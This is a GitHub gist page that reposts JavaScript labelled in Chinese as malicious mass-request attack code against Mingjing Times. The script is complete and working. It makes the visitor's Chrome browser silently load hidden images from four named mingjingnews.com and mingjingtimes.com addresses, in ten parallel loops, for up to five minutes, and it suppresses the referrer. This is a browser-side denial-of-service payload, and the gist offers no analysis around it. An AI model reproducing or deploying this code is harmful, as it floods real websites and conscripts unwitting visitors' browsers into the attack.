Skip to content

Instantly share code, notes, and snippets.

@chuanxd
Forked from nczz/mingjingtimes-ddos-code.js
Created August 27, 2017 13:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chuanxd/2c71cfc04f7b6e7aba6740875b7b96cd to your computer and use it in GitHub Desktop.
Save chuanxd/2c71cfc04f7b6e7aba6740875b7b96cd to your computer and use it in GitHub Desktop.
明鏡時報惡意大量請求攻擊程式碼
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
}
document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML;
var p_img_list = [];
var timer_list = [];
var starttime = null;
var requesttime_list = [];
var responsetime_list = [];
var url = '';
var count = 0;
function imgdel(index) {
var p_img_tmp = p_img_list[index];
if (p_img_tmp != null) {
document.body.removeChild(p_img_tmp)
}
p_img_list[index] = null;
if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) {
setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index]))
}
}
function isImgComplete(index) {
if (p_img_list[index] == null) {
return
}
if (p_img_list[index].complete) {
window.clearInterval(timer_list[index]);
responsetime_list[index] = new Date().getTime();
imgdel(index)
} else {
if (new Date().getTime() - requesttime_list[index] > TIMEGAP) {
window.clearInterval(timer_list[index]);
imgdel(index)
}
}
}
function imgadd(index) {
p_img_tmp = document.body.appendChild(document.createElement('img'));
url = url_list[unixtime() % url_list.length];
p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100);
p_img_tmp.style.display = 'none';
p_img_list[index] = p_img_tmp;
requesttime_list[index] = responsetime_list[index] = new Date().getTime();
timer_list[index] = setInterval("isImgComplete(" + index + ")", 50);
count = count + 1
}
function start() {
starttime = new Date().getTime();
for (var ti = 0; ti < THREAD; ti += 1) {
p_img_list[ti] = null;
timer_list[ti] = null;
requesttime_list[ti] = null;
responsetime_list[ti] = null;
imgadd(ti)
}
}
var now = new Date();
setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment